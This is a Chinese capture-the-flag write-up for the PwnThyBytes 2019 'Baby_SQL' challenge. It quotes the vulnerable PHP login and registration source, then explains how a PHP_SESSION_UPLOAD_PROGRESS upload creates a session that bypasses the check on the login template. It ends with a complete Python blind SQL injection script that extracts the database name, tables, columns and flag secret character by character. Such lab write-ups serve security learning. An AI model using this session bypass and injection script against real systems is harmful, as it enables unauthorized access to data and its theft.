[PwnThyBytes 2019]Baby_SQL
- 1 解题流程
- 1.1 分析
- 1.2 解题
- 2 思考总结
1 解题流程
1.1 分析
此题参考文章:浅谈 SESSION_UPLOAD_PROGRESS 的利用
- 访问正常来讲用ctf-wscan是能扫出source.zip文件的,且F12后提示了有source.zip,那我们就下载source.zip
index.php
login.php<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value){ !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>
register.php<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user){ $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!')); ?>
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!"); $sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")'; ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!")); ?>
- 简单的分析一下:
1、index.php中,开启了session,我们通过任何方式的传参都会经过过滤函数
过滤函数:参数值必须是字符串,其次是通过addslashes函数过滤
2、login.php,存在sql语句,并写了数据库是ptbctf,密码通过MD5的形式校验
3、register.php,用户名不允许是admin,且长度要6<=length<=10
4、看到addslashes函数让我想到了sprintf格式化漏洞和宽字节漏洞,但由于没有sprintf所以第一个情况排除,我自己尝试了第二个情况发现也不行。所以我们考虑其他方法
5、在主页进行login会被过滤,那么我们直接去templates/login.php呢?没错,这里我们能直接注入,但是最关键的就是一旦没有session,就不让正常访问该php
所以这里就涉及到了 SESSION_UPLOAD_PROGRESS
我们可以利用PHP_SESSION_UPLOAD_PROGRESS在目标服务器上初始化一个session,然后便可以绕过index.php中的检测 - session是如何生成的?PHP_SESSION_UPLOAD_PROGRESS怎么利用?【下面简单讲,开头引用的文章是很详细的】
假设我们通过配置文件分析:
1、已知session文件存储在session.save_path中
2、session.upload_progress.enabled 选项开启时,同时POST一个session.upload_progress.name同名变量,PHP检测到时,Session文件将会自动创建,我们访问网站就会附带sessoin值,以此绕过login.php的session校验
1.2 解题
脚本如下:
import io
import requests
url = 'http://node4.anna.nssctf.cn:28440/templates/login.php'
flag = ''
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
#payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
#payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
data = {"PHP_SESSION_UPLOAD_PROGRESS": "473"}
cookie = {"PHPSESSID": "whoami"}
params = {
"username": payload,
"password": "123456"
}
res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
#print(res.text)
if 'meta' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
2 思考总结
哎哟不错哦~
通过此题,我对SESSION_UPLOAD_PROGRESS利用的理解更深入了。